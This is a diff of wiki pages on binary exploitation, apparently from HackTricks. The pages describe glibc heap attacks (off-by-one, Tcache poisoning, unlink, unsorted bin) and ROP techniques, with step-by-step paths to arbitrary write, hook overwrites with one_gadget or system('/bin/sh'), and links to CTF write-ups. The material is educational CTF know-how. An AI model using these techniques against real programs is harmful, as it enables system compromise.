* A common example of this vulnerability can be seen in the following code where the behavior of strlen and strcpy is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. * A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
* This can be expoited with the [House of Einherjar](house-of-einherjar.md).
* If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
<details> <details>
<summary>Null off by one</summary> <summary>Off-by-null</summary>
```c ```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
@ -50,7 +52,7 @@ int main(void)
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
### Code Example: ### Code example:
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c) * [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
* This attack is no longer working due to the use of Tcaches. * This attack is no longer working due to the use of Tcaches.
@ -62,12 +64,21 @@ Among other checks, now whenever a chunk is free the previous size is compared w
### Requirements ### Requirements
* Off by one overflow to modify the previous size metadata information * Off by one overflow to modify the size metadata information
### Attack ### General off-by-one attack
* Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
* Free `C` (inserted into 0x20 Tcache free-list).
* Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
* Now we have `B` containing the free chunk `C`
* Free `B` and allocate a 0x40 chunk (it will be placed here again)
* We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
### Off-by-null attack
* 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). * 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
* Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.&#x20; * Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
* Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. * Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
* Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. * Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
@ -78,6 +89,9 @@ This image explains perfectly the attack:
## Other Examples & References ## Other Examples & References
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks) * [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
* Off-by-one because of `strlen` considering the next chunk's `size` field.
* Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks) * [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
* It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. * It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
* Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. * Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
@ -111,16 +125,17 @@ This image explains perfectly the attack:
* Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk * Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
* Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address * Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
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{% endhint %}

36
binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
View file

@ -1,24 +1,25 @@
# Overwriting a freed chunk # Overwriting a freed chunk
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</details> </details>
{% endhint %}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
### Simple Use After Free ### Simple Use After Free
If it's possible for the attacker to **write info in a free chunk**, he could abuse this to overwrite the needed pointers. If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
### Double Free ### Double Free
@ -28,20 +29,21 @@ If the attacker can **`free` two times the same chunk** (free other chunks in be
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
### Off by 1 Overflow ### Off-by-one overflow
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore a heap overflow** (check previous section). In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
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43
binary-exploitation/libc-heap/tcache-bin-attack.md
View file

@ -1,36 +1,37 @@
# Tcache Bin Attack # Tcache Bin Attack
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
For more information about what is a tcache bin check this page: For more information about what is a Tcache bin check this page:
{% content-ref url="bins-and-memory-allocations.md" %} {% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md) [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %} {% endcontent-ref %}
First of all, note that the Tcache was introduced in glibc version 2.26. First of all, note that the Tcache was introduced in Glibc version 2.26.
The **Tcache** attack proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
### Tcache indexes attack ### Tcache indexes attack
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like malloc hook) to then allocated a chunk of the size of the index and overwrite the contents of malloc hook in this case. Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
## Examples ## Examples
@ -50,17 +51,23 @@ Usually it's possible to find at the beginning of the heap a chunk containing th
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html) * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
* Same vulnerability as before with one extra restriction * Same vulnerability as before with one extra restriction
* **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. * **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
* **Write After Free** to add a number to the `fd` pointer.
* A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
* **Glibc leak** through `stdout` (FSOP).
* **Tcache poisoning** to get an arbitrary write primitive.
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{% endhint %}

32
binary-exploitation/libc-heap/unlink-attack.md
View file

@ -1,18 +1,19 @@
# Unlink Attack # Unlink Attack
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -120,7 +121,7 @@ This attack allows to **change a pointer to a chunk to point 3 addresses before
* When the second chunk is freed then this fake chunk is unlinked happening: * When the second chunk is freed then this fake chunk is unlinked happening:
* `fake_chunk->fd->bk` = `fake_chunk->bk` * `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd` * `fake_chunk->bk->fd` = `fake_chunk->fd`
* Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->fd->bk` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. * Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
* This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. * This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
* Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. * Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
* Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. * Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
@ -138,16 +139,17 @@ This attack allows to **change a pointer to a chunk to point 3 addresses before
* CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) * CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. * There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
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</details> </details>
{% endhint %}

52
binary-exploitation/libc-heap/unsorted-bin-attack.md
View file

@ -1,18 +1,19 @@
# Unsorted Bin Attack # Unsorted Bin Attack
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -22,28 +23,28 @@ For more information about what is an unsorted bin check this page:
[bins-and-memory-allocations.md](bins-and-memory-allocations.md) [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %} {% endcontent-ref %}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the bk pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a libc addresses or bypass some defense. Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
So, basically, this attack allowed to **overwrite some arbitrary address with a big number** (an address which could be a heap address or a libc address) like some stack address that could be leak or some restriction like the global variable **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
{% hint style="success" %} {% hint style="success" %}
Taking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid tcaches) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. Taking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bck->fd == victim` or not `victim->fd == av (arena)`. Which means that the address were we want to right must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
Note that making **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
{% endhint %} {% endhint %}
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack ## Unsorted Bin Infoleak Attack
This is actually a very basic concept. The chunks in the unsorted bin are going to be having pointers double pointers to create the bin. The first chunk in the unsorted bin will actually have the **FD** and the **BK** links **pointing to a part of the main arena (libc)**.\ This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **libc info leak**. Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
@ -79,17 +80,22 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n
* And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. * And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address * Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* We can only allocate chunks of size greater than `0x100`.
* Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
* Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
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</details> </details>
{% endhint %}

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binary-exploitation/libc-heap/use-after-free/README.md
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@ -1,18 +1,19 @@
# Use After Free # Use After Free
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -29,16 +30,17 @@ Check more info in:
[first-fit.md](first-fit.md) [first-fit.md](first-fit.md)
{% endcontent-ref %} {% endcontent-ref %}
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{% endhint %}

15
binary-exploitation/libc-heap/use-after-free/first-fit.md
View file

@ -1,18 +1,19 @@
# First Fit # First Fit
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</details> </details>
{% endhint %}
## **First Fit** ## **First Fit**

30
binary-exploitation/rop-return-oriented-programing/README.md
View file

@ -1,18 +1,19 @@
# ROP - Return Oriented Programing # ROP - Return Oriented Programing
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</details> </details>
{% endhint %}
## **Basic Information** ## **Basic Information**
@ -207,16 +208,17 @@ Notice that ROP is just a technique in order to execute arbitrary code. Based in
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack * arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
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{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
View file

@ -1,18 +1,19 @@
# BROP - Blind Return Oriented Programming # BROP - Blind Return Oriented Programming
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -134,16 +135,17 @@ Behaviour signatures to find those functions:
* Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) * Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2csu.md
View file

@ -1,18 +1,19 @@
# Ret2csu # Ret2csu
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}
## ##
@ -194,16 +195,17 @@ target.interactive()
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View file

@ -1,18 +1,19 @@
# Ret2dlresolve # Ret2dlresolve
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -207,16 +208,17 @@ target.interactive()
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html) * [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
* 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. * 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
View file

@ -1,18 +1,19 @@
# Ret2esp / Ret2reg # Ret2esp / Ret2reg
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Ret2esp** ## **Ret2esp**
@ -203,16 +204,17 @@ With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}

30
binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
View file

@ -1,18 +1,19 @@
# Ret2lib # Ret2lib
{% hint style="success" %}
